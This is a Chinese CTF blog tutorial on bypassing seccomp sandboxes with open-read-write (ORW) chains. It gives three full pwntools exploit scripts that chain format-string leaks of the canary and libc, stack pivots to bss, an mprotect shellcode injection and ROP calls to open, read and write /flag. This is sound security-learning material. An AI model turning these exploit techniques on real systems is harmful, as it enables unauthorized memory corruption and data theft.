pwn中沙盒保护之orw绕过

本文介绍了如何在具有沙盒保护的环境中利用orw(openreadwrite)技术绕过限制,通过示例展示了如何通过获取canary值、libc_base和栈地址进行漏洞利用,以及如何执行栈迁移和flag的ORW操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1:什么是沙盒保护

简单来说开启沙盒保护后execve被禁用,也就是说即使我们拿到shell也没有用。我们可以使用

seccomp-tools dump指令进行查看。

2:使用orw绕过的意义

orw全称open read write.指将根目录下的flag的文件打开,然后read进行读取,最后写出来。由于system函数被禁用,只能通过这种方式拿到flag.

3:例题

前置知识open函数的参数,open(name[, mode[, buffering]])

  • name : 一个包含了你要访问的文件名称的字符串值。

  • mode : mode 决定了打开文件的模式:只读,写入,追加等。所有可取值见如下的完全列表。这个参数是非强制的,默认文件访问模式为只读(r)。

  • buffering : 如果 buffering 的值被设为 0,就不会有寄存。如果 buffering 的值取 1,访问文件时会寄存行。如果将 buffering 的值设为大于 1 的整数,表明了这就是的寄存区的缓冲大小。如果取负值,寄存区的缓冲大小则为系统默认。

所以简单来说open(flag,0)这样就是符合我们要求需要构造的open函数

##例题1:

来自于polar中的pwn困难的“格式化”存在后门函数,但是可以通过orw进行操作

 开启了canary保护

思路:第一次gets读入先泄露canary的值,第二次gets读入泄露libc_base,顺便返回到main函数

然后第三次读入泄露一个栈地址。最后orw。

from pwn import *
#p=remote("120.46.59.242",2141)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
p = process("./fm")
def bug():
	gdb.attach(p)
	pause() 
elf=ELF('./fm')  
rdi=0x400883
bss=0x601060
ret = 0x4005a1
main = 0x400726
payload=b'%31$p'
#bug()
p.sendline(payload)

p.recvuntil("0x")
canary=int(p.recv(16),16)
print(hex(canary))

pay=b'%7$saaaa'+p64(elf.got['printf'])+p64(canary)*25+p64(ret)+p64(main)

p.sendline(pay)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['printf']
print('libcbase:'+ hex(libc_base))
mprotect=libc_base+libc.symbols['mprotect']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
rsi = 0x2601f + libc_base
rdx = 0x119431 + libc_base

pay = b'%4$p'
p.sendline(pay)
p.recvuntil("0x")
stack=int(p.recv(12),16)
print(hex(stack))
pause()

payload = b"/flag\x00\x00\x00"+p64(canary)*26
payload += p64(rdi)
payload += p64(stack)
payload += p64(rsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(rdi)
payload += p64(3)
payload += p64(rsi)
payload += p64(bss+0x100)
payload += p64(rdx)
payload += p64(0x100)*2
payload += p64(read_addr)
payload += p64(rdi)
payload += p64(1)
payload += p64(rsi)
payload += p64(bss+0x100)
payload += p64(rdx)
payload += p64(0x100)*2
payload += p64(write_addr)
#pause()
p.sendline(payload)
p.interactive()

 或者在返回main函数后选择栈迁移到bss段上读取flag.

##例题2:

接收一下puts函数的地址计算出libc然后进行orw,这个题是在bss上操作的

from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
p = process("./orw")
elf=ELF('./orw')  
def bug():
	gdb.attach(p)
	pause() 
rdi=0x4012c3
bss=0x404040
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
mprotect=libc_base+libc.sym['mprotect']
rdx=libc_base+0x119431
rsi=libc_base+0x2601f
open=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
pay1=b'a'*0x20+p64(bss+32)+p64(0x401220)
p.send(pay1)
pay2=b'a'*0x28+p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)*2+p64(mprotect)+p64(bss+112)+asm(shellcraft.open("/flag"))+asm(shellcraft.read(3,bss,0x100))+asm(shellcraft.write(1,bss,0x100))
###pay3=b'a'*32+b'/flag\x00\x00\x00'+p64(rdi)+p64(bss+0x20)+p64(rsi)+p64(0)+p64(open)+p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x700)+p64(rdx)+p64(0x100)*2+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x700)+p64(rdx)+p64(0x100)*2+p64(write)
p.sendline(pay2)
p.interactive()

第一个payload进行栈迁移到bss段上。pay2先进行溢出,构造mprotect函数的三个参数,进行调用。然后返回到bss段上。然后orw。pay3是手动构造orw三个函数先将flag这个东西写到bss上然后就是先构造每个函数的参数,最后orw读出来flag。

##例题3:

溢出字节0x10,和上篇栈迁移文章一样,先迁移到bss段上,然后继续读入到bss段上去泄露libc_base,然后进行orw

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("./libc.so.6")
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()
bss=0x404040+0x500
p.recvuntil("lbs,lbs,lbs\n")
pay=b'a'*0x40+p64(bss+0x40)+p64(0x4011C9)
p.send(pay)

rbp=0x40115d
rdi=0x401283
p.recvuntil("lbs,lbs,lbs\n")
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x40)+p64(0x4011C9)).ljust(0x40,b'\x00')+p64(bss-8)+p64(0x00000000004011ec)
#bug()
p.send(pay)

#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
#==============================================================

open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']

mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
pay=p64(rdi)+p64(0)+p64(rsi)+p64(0x404a80-8)+p64(rdx_r12)+p64(0x1000)*2+p64(read_addr)+p64(bss+0x500-8)+p64(0x00000000004011ec)
bug()
p.send(pay)

payload  =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(0x404a80-8)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
p.send(payload)


p.interactive()

可以去看下上一篇的栈迁移有详细解答。栈迁移完就是正常的orw。

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值